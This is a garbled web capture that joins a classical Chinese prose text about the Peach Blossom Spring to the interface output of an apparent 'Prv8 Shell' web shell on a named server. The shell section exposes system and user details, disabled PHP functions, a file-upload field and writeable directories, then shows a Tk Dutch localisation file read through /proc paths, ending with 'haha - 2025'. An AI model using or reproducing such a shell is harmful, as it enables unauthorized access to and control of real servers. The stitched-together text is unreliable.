晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/self/root/usr/share/tk8.6/msgs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/tk8.6/msgs/nl.msg
namespace eval ::tk {
    ::msgcat::mcset nl "&Abort" "&Afbreken"
    ::msgcat::mcset nl "&About..." "Over..."
    ::msgcat::mcset nl "All Files" "Alle Bestanden"
    ::msgcat::mcset nl "Application Error" "Toepassingsfout"
    ::msgcat::mcset nl "&Apply" "Toepassen"
    ::msgcat::mcset nl "Bold" "Vet"
    ::msgcat::mcset nl "Bold Italic" "Vet Cursief"
    ::msgcat::mcset nl "&Blue" "&Blauw"
    ::msgcat::mcset nl "Cancel" "Annuleren"
    ::msgcat::mcset nl "&Cancel" "&Annuleren"
    ::msgcat::mcset nl "Cannot change to the directory \"%1\$s\".\nPermission denied." "Kan niet naar map \"%1\$s\" gaan.\nU heeft hiervoor geen toestemming."
    ::msgcat::mcset nl "Choose Directory" "Kies map"
    ::msgcat::mcset nl "Cl&ear" "Wissen"
    ::msgcat::mcset nl "&Clear Console" "&Wis Console"
    ::msgcat::mcset nl "Color" "Kleur"
    ::msgcat::mcset nl "Console"
    ::msgcat::mcset nl "&Copy" "Kopi\u00ebren"
    ::msgcat::mcset nl "Cu&t" "Knippen"
    ::msgcat::mcset nl "&Delete" "Wissen"
    ::msgcat::mcset nl "Details >>"
    ::msgcat::mcset nl "Directory \"%1\$s\" does not exist." "Map \"%1\$s\" bestaat niet."
    ::msgcat::mcset nl "&Directory:" "&Map:"
    ::msgcat::mcset nl "&Edit" "Bewerken"
    ::msgcat::mcset nl "Effects" "Effecten"
    ::msgcat::mcset nl "Error: %1\$s" "Fout: %1\$s"
    ::msgcat::mcset nl "E&xit" "Be\u00ebindigen"
    ::msgcat::mcset nl "&File" "Bestand"
    ::msgcat::mcset nl "File \"%1\$s\" already exists.\nDo you want to overwrite it?" "Bestand \"%1\$s\" bestaat al.\nWilt u het overschrijven?"
    ::msgcat::mcset nl "File \"%1\$s\" already exists.\n\n" "Bestand \"%1\$s\" bestaat al.\n\n"
    ::msgcat::mcset nl "File \"%1\$s\" does not exist." "Bestand \"%1\$s\" bestaat niet."
    ::msgcat::mcset nl "File &name:" "Bestands&naam:"
    ::msgcat::mcset nl "File &names:" "Bestands&namen:"
    ::msgcat::mcset nl "Files of &type:" "Bestanden van het &type:"
    ::msgcat::mcset nl "Fi&les:" "&Bestanden:"
    ::msgcat::mcset nl "&Filter"
    ::msgcat::mcset nl "Fil&ter:"
    ::msgcat::mcset nl "Font"
    ::msgcat::mcset nl "&Font:"
    ::msgcat::mcset nl "Font st&yle:" "Font stijl:"
    ::msgcat::mcset nl "&Green" "&Groen"
    ::msgcat::mcset nl "&Help"
    ::msgcat::mcset nl "Hi" "H\u00e9"
    ::msgcat::mcset nl "&Hide Console" "Verberg Console"
    ::msgcat::mcset nl "&Ignore" "&Negeren"
    ::msgcat::mcset nl "Invalid file name \"%1\$s\"." "Ongeldige bestandsnaam \"%1\$s\"."
    ::msgcat::mcset nl "Italic" "Cursief"
    ::msgcat::mcset nl "Log Files" "Log Bestanden"
    ::msgcat::mcset nl "&No" "&Nee"
    ::msgcat::mcset nl "&OK"
    ::msgcat::mcset nl "OK"
    ::msgcat::mcset nl "Ok"
    ::msgcat::mcset nl "Open" "Openen"
    ::msgcat::mcset nl "&Open" "&Openen"
    ::msgcat::mcset nl "Open Multiple Files" "Open meerdere bestanden"
    ::msgcat::mcset nl "P&aste" "Pl&akken"
    ::msgcat::mcset nl "&Quit" "Stoppen"
    ::msgcat::mcset nl "&Red" "&Rood"
    ::msgcat::mcset nl "Regular" "Standaard"
    ::msgcat::mcset nl "Replace existing file?" "Vervang bestaand bestand?"
    ::msgcat::mcset nl "&Retry" "&Herhalen"
    ::msgcat::mcset nl "Sample"
    ::msgcat::mcset nl "&Save" "Op&slaan"
    ::msgcat::mcset nl "Save As" "Opslaan als"
    ::msgcat::mcset nl "Save To Log" "Opslaan naar Log"
    ::msgcat::mcset nl "Select Log File" "Selecteer Log bestand"
    ::msgcat::mcset nl "Select a file to source" "Selecteer bronbestand"
    ::msgcat::mcset nl "&Selection:" "&Selectie:"
    ::msgcat::mcset nl "&Size:" "Grootte"
    ::msgcat::mcset nl "Show &Hidden Directories" "Laat verborgen mappen zien"
    ::msgcat::mcset nl "Show &Hidden Files and Directories" "Laat verborgen bestanden mappen zien"
    ::msgcat::mcset nl "Skip Messages" "Berichten overslaan"
    ::msgcat::mcset nl "&Source..." "Bron..."
    ::msgcat::mcset nl "Stri&keout"
    ::msgcat::mcset nl "Tcl Scripts"
    ::msgcat::mcset nl "Tcl for Windows" "Tcl voor Windows"
    ::msgcat::mcset nl "Text Files" "Tekstbestanden"
    ::msgcat::mcset nl "&Underline" "Onderstreept"
    ::msgcat::mcset nl "&Yes" "&Ja"
    ::msgcat::mcset nl "abort" "afbreken"
    ::msgcat::mcset nl "blue" "blauw"
    ::msgcat::mcset nl "cancel" "annuleren"
    ::msgcat::mcset nl "extension"
    ::msgcat::mcset nl "extensions"
    ::msgcat::mcset nl "green" "groen"
    ::msgcat::mcset nl "ignore" "negeren"
    ::msgcat::mcset nl "ok"
    ::msgcat::mcset nl "red" "rood"
    ::msgcat::mcset nl "retry" "opnieuw"
    ::msgcat::mcset nl "yes" "ja"
}

haha - 2025